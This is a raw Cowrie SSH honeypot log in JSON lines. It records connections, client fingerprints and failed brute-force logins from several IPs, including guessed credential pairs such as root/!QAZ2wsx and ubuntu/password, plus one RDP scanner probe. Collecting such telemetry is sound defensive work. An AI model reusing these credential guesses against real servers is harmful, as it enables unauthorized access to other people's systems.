{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:55.404048Z","src_ip":"52.231.220.210","session":"2569e38adfde","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:55.858547Z","src_ip":"37.143.61.130","session":"2660fddec24e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:55.937747Z","src_ip":"37.143.61.130","session":"2660fddec24e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4rfvVFR$","message":"login attempt [root/4rfvVFR$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:56.214284Z","src_ip":"52.231.220.210","session":"2569e38adfde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ad@123456","message":"login attempt [root/ad@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:56.675403Z","src_ip":"37.143.61.130","session":"2660fddec24e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:57.412551Z","src_ip":"52.231.220.210","session":"2569e38adfde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:57.759722Z","src_ip":"37.143.61.130","session":"2660fddec24e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":40332,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e2a92d53054","protocol":"ssh","message":"New connection: 176.65.139.103:40332 (10.17.0.5:22) [session: 0e2a92d53054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:00.174763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:00.185161Z","src_ip":"176.65.139.103","session":"0e2a92d53054","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:00.259958Z","src_ip":"176.65.139.103","session":"0e2a92d53054","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:00.622232Z","src_ip":"176.65.139.103","session":"0e2a92d53054","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:01.707072Z","src_ip":"176.65.139.103","session":"0e2a92d53054","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":42754,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b62893499bc","protocol":"ssh","message":"New connection: 176.65.139.103:42754 (10.17.0.5:22) [session: 3b62893499bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:07.695472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:07.699110Z","src_ip":"176.65.139.103","session":"3b62893499bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:07.794568Z","src_ip":"176.65.139.103","session":"3b62893499bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"123456","message":"login attempt [lighthouse/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:08.052697Z","src_ip":"176.65.139.103","session":"3b62893499bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:09.154843Z","src_ip":"176.65.139.103","session":"3b62893499bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":35818,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4a0280c2bc6","protocol":"ssh","message":"New connection: 176.65.139.103:35818 (10.17.0.5:22) [session: a4a0280c2bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:14.694950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:14.760588Z","src_ip":"176.65.139.103","session":"a4a0280c2bc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:14.818767Z","src_ip":"176.65.139.103","session":"a4a0280c2bc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:15.130492Z","src_ip":"176.65.139.103","session":"a4a0280c2bc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:16.245812Z","src_ip":"176.65.139.103","session":"a4a0280c2bc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":35826,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa9890371518","protocol":"ssh","message":"New connection: 176.65.139.103:35826 (10.17.0.5:22) [session: fa9890371518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:21.749219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:21.755905Z","src_ip":"176.65.139.103","session":"fa9890371518","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:21.835312Z","src_ip":"176.65.139.103","session":"fa9890371518","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:22.153629Z","src_ip":"176.65.139.103","session":"fa9890371518","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:23.420622Z","src_ip":"176.65.139.103","session":"fa9890371518","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":40952,"dst_ip":"10.17.0.5","dst_port":22,"session":"0129db0d0627","protocol":"ssh","message":"New connection: 176.65.139.103:40952 (10.17.0.5:22) [session: 0129db0d0627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:28.419427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:28.423497Z","src_ip":"176.65.139.103","session":"0129db0d0627","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:28.504645Z","src_ip":"176.65.139.103","session":"0129db0d0627","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:28.770873Z","src_ip":"176.65.139.103","session":"0129db0d0627","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:30.050023Z","src_ip":"176.65.139.103","session":"0129db0d0627","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48724,"dst_ip":"159.203.135.109","dst_port":22,"session":"92379a86c68e","protocol":"ssh","message":"New connection: 159.203.92.129:48724 (159.203.135.109:22) [session: 92379a86c68e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:33.125886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:33.129918Z","src_ip":"159.203.92.129","session":"92379a86c68e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:33.133846Z","src_ip":"159.203.92.129","session":"92379a86c68e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"1234QWERasdf","message":"login attempt [ansible/1234QWERasdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:33.143707Z","src_ip":"159.203.92.129","session":"92379a86c68e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":49810,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7c7977566c1","protocol":"ssh","message":"New connection: 103.149.252.223:49810 (10.17.0.5:22) [session: f7c7977566c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:33.186015Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:33.193127Z","src_ip":"103.149.252.223","session":"f7c7977566c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:33.196299Z","src_ip":"103.149.252.223","session":"f7c7977566c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:34.149212Z","src_ip":"159.203.92.129","session":"92379a86c68e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50724,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ecf9d4fbdfc","protocol":"ssh","message":"New connection: 176.65.139.103:50724 (10.17.0.5:22) [session: 2ecf9d4fbdfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:35.650124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:35.688366Z","src_ip":"176.65.139.103","session":"2ecf9d4fbdfc","protocol":"ssh"}
